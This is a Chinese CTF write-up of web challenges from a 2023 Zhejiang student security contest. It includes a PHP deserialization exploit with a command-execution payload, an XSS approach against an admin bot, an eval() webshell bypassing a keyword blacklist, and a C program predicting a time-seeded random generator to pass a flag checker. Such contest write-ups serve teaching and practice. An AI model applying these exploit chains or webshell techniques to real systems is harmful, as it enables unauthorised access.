第六届浙江省大学生网络与信息安全竞赛 2023年 初赛/决赛 WEB方向 Writeup

-------------------【初赛】-------------------

easy php

简单反序列化

__debuginfo()魔术方法打印所需调试信息，反序列化时候执行！

链子如下：

BBB::__debuginfo()->CCC::__toString()->AAA::__call()
1

EXP：

highlight_file(__FILE__);
class AAA{
    public $cmd;

    public function __call($name, $arguments){
        eval($this->cmd);
        return "done";
    }
}

class BBB{
    public $param1;

    public function __debuginfo(){
        return [
            'debugInfo' => 'param1' . $this->param1
        ];
    }
}

class CCC{
    public $func;

    public function __toString(){
        var_dump("aaa");
        $this->func->aaa();
    }
}

$a=new BBB();
$a->param1=new CCC();

$a->param1->func=new AAA();
$a->param1->func->cmd='system(\'tac /flag\');';

$aaa=serialize($a);
echo $aaa;
unserialize($aaa);

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

payload：

/?aaa=O:3:"BBB":1:{s:6:"param1";O:3:"CCC":1:{s:4:"func";O:3:"AAA":1:{s:3:"cmd";s:20:"system('tac /flag');";}}}
1

注：这题本地运行不通，但是远程能打通。

my2do

好题好题，学学线下怎么打XSS。

源码如下：

app.js

const express = require('express');
const session = require('express-session');
const crypto = require('crypto');
const vist = require("./bot");
const multer = require('multer');
const path = require('path');

const app = express();
app.set('view engine', 'ejs');
app.use(session({
    secret: crypto.randomBytes(16).toString('hex'),
    resave: false,
    saveUninitialized: false,
    cookie:{
        httpOnly: true
    }
}));
const storage = multer.diskStorage({
    destination: function (req, file, cb) {
        cb(null, 'public/uploads');
    },
    filename: function (req, file, cb) {
        cb(null, file.originalname);
    },
});

const upload = multer({ storage: storage });
app.use(express.static('public'));


const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'YOU DONT NO IT';
const FLAG = process.env.DASFLAG || 'flag{no_flag}';

const reportIpsList = new Map();
const now = ()=>Math.floor(+new Date()/1000)
const db = new Map();
db.set('admin', {password: crypto.createHash('sha256').update(ADMIN_PASSWORD, 'utf8').digest('hex'), todos: [{text: FLAG, isURL: false}]});

app.get("/", function (req, res) {
    if (req.session.username) return res.redirect('/todo');
    res.render('index', {nonce: crypto.randomBytes(16).toString('hex')})
});

app.get("/todo",function (req, res) {

    if (!req.session.username) return res.redirect('/');
    let username = req.session.username;
    res.render('todo', {
        nonce: crypto.randomBytes(16).toString('hex'),
        username: username,
        todos: db.get(username).todos
    })
});

app.get("/api/logout", function (req, res) {
    req.session.destroy();
    return res.redirect('/');
});

app.post("/api/todo",express.json({ type: Object }) ,function (req, res) {

    const { text } = req.body || req.query;
    if (!req.session.username) return res.json({ error: "Login first!" });
    let username = req.session.username;
    if (!db.has(username)) return res.json({ error: "User doesn't exist!" });

    if (!text || typeof text !== "string") {
        return res.json({error: "Missing text"});
    }

    let isURL = false;
    if (RegExp('^https?://.*$').test(text)) {
        isURL = true;
    }

    db.get(username).todos.push({text: text, isURL: isURL});
    return res.json({ success: true });
});

app.post("/api/register", express.json({ type: Object }), function (req, res) {
    const { username, password }= req.body;
    if (typeof username !== 'string') return res.json({ error: "Invalid username" });
    if (typeof password !== 'string') return res.json({ error: "Invalid password" });

    if (db.has(username)) return res.json({ error: "User already exist!" });
    const hash = crypto.createHash('sha256').update(password, 'utf8').digest('hex');

    db.set(username, {password: hash, todos: []});
    req.session.username = username;
    return res.json({ success: true });
});

app.post("/api/login", express.json({ type: Object }), function (req, res) {
    const { username, password }= req.body;
    if (typeof username !== 'string') return res.json({ error: "Invalid username" });
    if (typeof password !== 'string') return res.json({ error: "Invalid password" });

    if (!db.has(username)) return res.json({ error: "User doesn't exist!" });
    const hash = crypto.createHash('sha256').update(password, 'utf8').digest('hex');
    if (db.get(username)?.password !== hash) return res.json({ error: "Wrong password!" });

    req.session.username = username;
    return res.json({ success: true });
});

//deving........//其实可以上传的
app.post('/api/upload', upload.single('file'), (req, res) => {

    return res.send('文件上传成功！');
});




app.post("/api/report", express.json({ type: Object }), function (req, res) {

    if (!req.session.username) return res.send("Login first!");
    //延时
    if(reportIpsList.has(req.ip) && reportIpsList.get(req.ip)+90 > now()){
        return res.send(`Please comeback ${reportIpsList.get(req.ip)+90-now()}s later!`);
    }

    reportIpsList.set(req.ip,now());
    const { url } = req.body;
    if (typeof url !== 'string') return res.send("Invalid URL");

    //只能访问http://127.0.0.1/xxxxx
    if (!url || !RegExp('^http://127\.0\.0\.1.*$').test(url)) {
        return res.status(400).send('Invalid URL');
    }
    try {
        vist(url);
        return res.send("admin has visted your url");
    } catch {
        return res.send("some error!");
    }
});

app.listen(80, () => {console.log(`app run in ${80}`)});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139

bot.js

const puppeteer = require("puppeteer");

const SITE = process.env.SITE || 'http://localhost';
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'YOU DONT NO IT';

const visit = async url => {
    var browser;
	try {
		    browser = await puppeteer.launch({
			headless: true,
			executablePath: "/usr/bin/chromium",
			args: ['--no-sandbox']
		  });

        page = await browser.newPage();
		
		await page.goto(SITE);
		await page.waitForTimeout(500);

		await page.type('#username', 'admin');
		await page.type('#password', ADMIN_PASSWORD);
		await page.click('#btn')
		await page.waitForTimeout(800);

		await page.goto(url);
		await page.waitForTimeout(3000);

		await browser.close();

	} catch (e) {
		console.log(e);
	} finally {
		if (browser) await browser.close();
	}
}

module.exports = visit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

可以记ToDo，flag就是admin的ToDo

系统功能如下：

1、用户可以记录todo

2、用户可以指定http://127.0.0.1/xxx网址让admin访问

3、用户可以在/api/upload路由上传文件，在/upload/路由下访问上传的文件

admin的todo数据获取方法如下（Elements中尝试得到）

document.getElementsByClassName('has-text-left')[2].innerHTML
1

但是当时是内网打题，不出网带不出数据。其实是可以带出的，即使不用VPS。

思路：XSS。html中js代码获取admin的todo，并且以get参数形式访问/upload下的另一个html文件，另一个html文件也嵌套js，接受get参数和内容（flag）并且写入/upload路由下的1.txt文件中

其他师傅的wp

uploads/jump.html

    



1
2
3
4
5
6
7
8
9
10
11
12
13

uploads/e.html

    



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

先跳转改host到localhost

然后访问并上传admin的notes

最后读取/uploads/flaga

0RAY的wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

can you read flag

要拿到shell很简单，写个转接头?a=eval($_POST[1])连蚁剑或者直接getshell就行啦。

源码如下

#error_reporting(0);
$blacklist=['y','sh','print','printf','cat','tac','read','vim','curl','ftp','glob','flag','\|','`'];
foreach ($blacklist as $black) {
        if (stristr($_GET['a'], $black)) {
            die("hacker?");
        }
    }
eval($_GET['a']);
?>
1
2
3
4
5
6
7
8
9
10

难度在/flag我们没有读取权限，但是根目录下有个可执行文件/readflag，有权限读取flag。

我们把/readflag丢给PWN爷爷：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  FILE *v5; // rax
  int v6; // [rsp+8h] [rbp-118h] BYREF
  char v7; // [rsp+Fh] [rbp-111h] BYREF
  char v8[256]; // [rsp+10h] [rbp-110h] BYREF
  unsigned int v9; // [rsp+110h] [rbp-10h]
  unsigned int v10; // [rsp+114h] [rbp-Ch]
  int v11; // [rsp+118h] [rbp-8h]
  int i; // [rsp+11Ch] [rbp-4h]

  v3 = time(0LL);
  srand(v3);
  puts("You want flag? (y/n)");
  fflush(_bss_start);
  __isoc99_scanf("%c", &v7);
  if ( v7 != 121 )
    return 1;
  puts("But you need to do some calcs:");
  fflush(_bss_start);
  v11 = rand() % 101 + 100;
  for ( i = 0; i < v11; ++i )
  {
    v10 = rand() % 1000000;
    v9 = rand() % 9000000;
    printf("%d+%d = ?\n", v10, v9);
    fflush(_bss_start);
    __isoc99_scanf("%d", &v6);
    if ( v9 + v10 != v6 )
      return 1;
  }
  v5 = fopen("/flag", "r");
  __isoc99_fscanf(v5, "%s", v8);
  printf("here you are:%s", v8);
  fflush(_bss_start);
  return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

大概能看懂源码的意思，随机进行100-200次加法，如果都做对的就返回flag。由于没有交互式shell，我们不能一次次的输入，只能一次性把答案都输入进去。（反弹shell得到的shell是交互式的，蚁剑虚拟终端不是）

随机数种子是时间，秒为单位，可以预测一次性echo进去拿到flag。

来自0RAY的wp：

/tmp/src目录下可以发现题目 /readflag 的源码，其随机数生成有缺陷，种子是time(0)，因此可以写一个c语言程序，得到10秒之后的结果，输出到文件里，再将文件重定向给/readflag，即可通过计算题检查

构造的exp.c文件

int main(){
        unsigned int v3 = time(0)+10;
        unsigned int v9;
        unsigned int v10;
        srand(v3);
        int v11 = rand() % 101 + 100;
        printf("y\n");
        for (int i = 0; i < v11; ++i){
                v10 = rand() % 1000000;
                v9 = rand() % 9000000;
                printf("%d\n", v10+v9);
        }
}
1
2
3
4
5
6
7
8
9
10
11
12
13

由于根目录我们无写入权限，因此我们把exp文件写入/tmp目录下。复现环境是自己的vps。

命令如下：

gcc -o exp exp.c
ls
./exp > a
/readflag